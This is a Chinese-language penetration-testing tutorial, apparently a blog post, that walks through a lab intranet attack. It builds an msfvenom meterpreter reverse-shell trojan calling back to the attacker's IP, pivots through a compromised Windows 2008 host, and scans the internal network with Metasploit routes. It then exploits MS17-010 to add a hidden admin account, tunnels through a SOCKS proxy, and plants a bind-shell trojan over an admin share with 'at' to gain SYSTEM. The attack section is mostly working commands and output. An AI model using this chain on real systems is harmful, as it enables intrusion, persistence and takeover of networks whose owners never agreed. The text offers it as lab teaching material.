本文最后更新于 2024-07-26,文章内容可能已经过时。

内网信息搜集和渗透实战

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

前提:环境搭建

kali:192.168.91.129 (攻击机)

  1. windows2008 :192.168.91.138;10.10.10.1(外网主机)
  2. win7 :10.10.10.110(内网)
  3. win 2003 :10.10.10.2(内网)

Windows外网主机 (2008)

  • 添加vmnet19

image-20240428231651963

image-20240428231747012

image-20240428231829170

image-20240428231921515

image-20240428232332531

(1)查看win2008主机的IP :

image-20240617235142633

右键主机 --> 设置 :

image-20240428232716856

(2)win2003配置内网固定IP :

image-20240428232624795

测试外网链接 :

image-20240428232959961

(3)、Windows 7内网主机

  1. 设置网络

    image-20240428233120179

  2. 配置内网固定IP

    image-20240428233246699

  3. 测试内网

    image-20240428233348012

  4. 测试外网链接内网

    image-20240428233430457

    1. 安装Xampp

    省略

    测试:win7的xampp开启:

image-20240618013015147

一、主机发现

nmap扫描网段信息:

nmap -sP 192.168.91.0/24

image-20240618222400807

发现主机win2008IP地址为:192.168.91.138

二、主机扫描

扫描到了135,149,445,3389端口开放。主机信息为Windows Server 2008

image-20240618222904633

image-20240618222840802

三、拿下跳板机

(1)kali制作木马

制作木马拿下内网的跳板机windows Server 2008

开启监听:

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

show options 

set lhost 192.168.91.129

set lport 5555

run

image-20240618223256459

制作木马:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o neiwang5555.exe

上传目标主机执行上线getshell

image-20240618223543157

查看ipconfig可以发现,成功发现拿下的跳板机内网主机ip为10.10.10.1,由此可以得出内网网段为10.10.10.xxx

外网ip地址为192.168.91.138

(2)用arp -a查看缓存记录

一般内网中的主机和这台主机(win2008)通信过后,会在arp缓存表中存储ip信息。

image-20240618224018701

可以大致知道内网中的主机有

10.10.10.1(本跳板机win Server 2008)

10.10.10.2 (win Server 2003)

10.10.10.110 (WIN7)

(3)其他指令也可以探测

Windows中的任何指令都可以尝试。

(4)利用msf进行内网探测

msf中的 scanner/discovery模块可以进行内网探测

先exit退出到meterpreter框架,bg指令后台运行,sessions查看连接信息。

image-20240618224555555

搜索模块:search scanner/discovery

image-20240618224800009

随便使用一个,这里选第五个

use 5

show options

set rhosts 10.10.10.110			#设置要探测的内网主机ip

set threads 10					#设置线程数为10

run

image-20240618225346097

这里显示没有扫描到有用的信息,换成其他的模块也是差不多的。

原因:直接探测是失败的,因为在探测内网时 ,需要路由的设置 ,我们目前,没设置路由 ,无法探测。

(5)msf进行端口扫描

msf同样内置了端口扫描的模块

search portscan

image-20240618225805157

这里不进行了,因为同样需路由设置才能探测

  1. rhosts 扫描的目标主机
  2. ports 扫描的端口
  3. threads : 线程数

四、meterpreter创建路由

路由是利用跳板创建的一个内网通信的通道 。

run get_local_subnets需要在meterpreter下运行,查看内网的网段

(1)、run get_local_subnets

image-20240618234744341

如此可知,内网网段为 10.10.10.0/24

(2)、通过meterpreter自动创建路由

run post/multi/manage/autoroute

image-20240618235009210

查看:添加路由的帮助命令

run autoroute -h

image-20240619004711152

手动再添加一条路由:(可选)

run autoroute -s 10.10.10.1/24

image-20240619004840816

查看路由是否添加成功:

run autoroute -p

image-20240619004854066

备选:用msf创建路由(可选)

查看路由帮助命令 route -h

image-20240619005252004

添加一条路由:

route add 10.10.10.2/24 1

(这里的1为seesion的ID值)

image-20240619005553441

查看路由信息:

route print

image-20240619005716439

这样内网主机的路由就建立好了,可以使用上文的内网探测功能

bg退回到模块,执行 search scanner/discovery

image-20240618235350754

use 5
show options
set rhost 
set rhosts 10.10.10.110
set threads 10
run

image-20240618235548102

如上图,发现一个win7的内网主机IP地址为10.10.10.110

五、使用探测功能:

再使用上文说的探测端口功能:search portscan

image-20240618235817242

use 5
show options
set rhosts 10.10.10.110
set threads 20
set ports 22,80,3306,6379,445,3389,135,139,8080
run

image-20240619000329688

如图可知,目标内网主机win7开启了445,3389,3306,135,139,80这些端口。

六、msf内网端口服务探测

auxiliary/scanner/ftp/ftp_version        #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version        #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version  #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp            #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version      #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title             #探测内网http服务的标题
auxiliary/scanner/smb/smb_version        #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump  #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump  #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version    #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner        #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server     #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version        #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname         #探测内网主机的netbios名字

前提:必须提前设置好路由

例如:

尝试探测mysql服务:

use auxiliary/scanner/mysql/mysql_version

show options

set rhosts 10.10.10.110

set threads 10

run

image-20240619001210317

如图可知,说明探测成功,主机存在mysql服务,Mysql版本信息为MySQL 5.5.5-10.1.38-MariaDB

七、内网漏洞利用

前提:必须设置好路由 ,拿下跳板机,创建路由。

木马上线getshell,创建路由:run post/multi/manage/autoroute

查看创建的路由信息:run autoroute -p

image-20240619010200044

搜索漏洞(MSF)

搜索MS17-010漏洞进行利用;

image-20240619010327327

执行探测漏洞模块:
use 3
show options
set rhosts 10.10.10.110
run

set rhosts 10.10.10.2
run

image-20240619010657164

如图,探测结果可知,win7和win2003这两台内网主机貌似存在ms17-010漏洞。

执行command探测模块:
use 2
show options
set rhosts 10.10.10.110
set threads 10
set command whoami
run

set rhosts 10.10.10.2
run

image-20240619011141313

image-20240619011237037

可以看出win7那台无法利用执行command,但是win2003成功执行。

说明win2003那台内网主机存在ms17-010漏洞

执行漏洞利用模块:
use 0
set payload windows/x64/meterpreter/bind_tcp
show options
set rhosts 10.10.10.2

image-20240619012241181

这里显示失败,尝试其他模块也是失败。

利用msf创建代理

(1)创建代理

假设在内网主机上创建了用户,需要把内网主机上的3389端口 转发之后,才可以远程连接 。

可不可以不做转发 ,就能远程连接内网主机的远程桌面 ???

可以使用MSF框架给内网主机创建代理 ,这个代理就在(攻击机Kali上) ,创建代理时,需要跳板机的链接以及路由 。

在msf上搜索 proxy ,会搜索出msf中所有关于代理的模块,auxiliary/server/socks_proxy

利用一种协议做代理的传递 socks

use auxiliary/server/socks_proxy
show options
run

image-20240619012957391

查看代理的端口信息:

netstat -antp

image-20240619013043814

(2)工具设置代理

win2008这台主机是能访问到内网主机

image-20240619013947331

如果在Kali向访问内网的服务 ,比如在Kali的浏览器上访问内网的80服务 ,http://10.10.10.110不能直接访问,需要在访问服务的工具(浏览器)上,设置代理才可以访问 。

image-20240619014453524

火狐浏览器设置代理 --->设置--->NetWork Settings

这里的1080就是之前用msf创建代理开启的端口

image-20240619014232752

image-20240619021043242

访问成功

其他工具上配置代理 :

(1)、本机浏览器 (不是Kali)

image-20240619021311042

image-20240619021328324

(2)、蚁剑连接

AntSword --> 系统设置 --> 代理设置 -->手动配置代理

image-20240619021624421

image-20240619022101886

(3)Kali上设置全局代理

在kali中 设置全局代理 ,修改一个配置文件 :

vi /etc/proxychains4.conf
# 在文档的最后一行 加上   把其他的代理 注释掉
socks5 127.0.0.1 1080

使用全局代理,命令前面需要加上 proxychains

内网操作 :

proxychains curl http://10.10.10.110/dashboard/phpinfo.php
proxychains mysql -uroot -p -h10.10.10.110
proxychains dirb http://10.10.10.110
proxychains rdesktop  10.10.10.110  # 远程连接桌面

例如执行:proxychains mysql -uroot -p -h10.10.10.110

image-20240619022403109

monica-code-tools

monica-code-tools

windows共享目录利用

image-20240619161522576

如果内网内主机开启了共享目录,可以通过上传木马等方式,上传到内网主机后成功上线。

开始-->管理工具-->计算机管理-->共享文件夹-->共享

可以看到win2003(内网主机配置了共享文件夹)

image-20240619141514658

下面就通过拿下的跳板机(winServer2008)测试渗透内网的主机(winServer2003)

**前提:拿下winserver2008的控制权,并已经配置好内网路由(如下,这里已经拿下了跳板机的控制权,并已经通过ms17-010探测command模块在内网的win2003创建出一个管理员权限账户) **

(我这里创建的管理员账号:test001$ 密码为:Mudi@456)

image-20240619142103642

(1)访问winServer2003的共享目录

通过 net use命令,访问共享目录。

访问内网主机Win2003的共享目录

net use \\10.10.10.2\c$ Mudi@456 /user:test001$

访问内网主机Win2007的共享目录

net use \\10.10.10.1\c$ Mudi@456 /user:test001$

image-20240619154831701

image-20240619152140520

查看连接

net user

image-20240619154911814

访问内网win2003主机的c盘共享文件(c$代表C盘根目录的共享文件夹)

dir \\10.10.10.2\c$

image-20240619155110271

附录:net user常用命令

**net user 查看系统中的用户信息 **

net user user /add 添加用户

**user net localgroup Administrators user /add 添加user用户为管理员组 net localgroup users user /del 从users组中删除user用户 **

**net user user 查看user用户用户信息 **

**net user user /active:no 禁用user用户 **

**net user user /active:yes 激活user用户 **

**net user user 123456 改变user用户密码为123456,不需要知道原密码 net user user "" 改变user用户密码为空 **

**net user user /passwordchg:yes 用户user可以改变密码 **

**net user user /passwordreq:yes 用户user必须拥有密码 **

**net user user /expires:never 用户user密码永不过期 **

net user user /del 删除user用户

(2) 上传一个木马正向连接反弹回kali

kali生成正向连接win2003的木马:

msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f exe -o win2003.exe

image-20240619155755900

将生成的木马文件上传到跳板机(win2008)的主机上,在之前getshell的win2008的shell上通过命令将在win2008上的木马复制上传到内网主机(win2003)上

copy c:\tools\win2003.exe \\10.10.10.2\c$

image-20240619160736617

(3)执行木马文件在目标主机上

利用at定时器,定时执行该木马文件

#设置定时器
at \\10.10.10.2 16:16 "c\win2003.exe"
#这里16:16是执行的时间,我现在的时间是的16:10

#查看定时器
at \\10.10.10.2

image-20240619161348945

(4)kali启动正向连接,连接到winServer2003上
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
show options
set rhost 10.10.10.2
set lport 5555
run

image-20240619155943671

meterpreter > getuid
Server username: NT AUTHORIRY\SYSTEM

monica-code-tools

monica-code-tools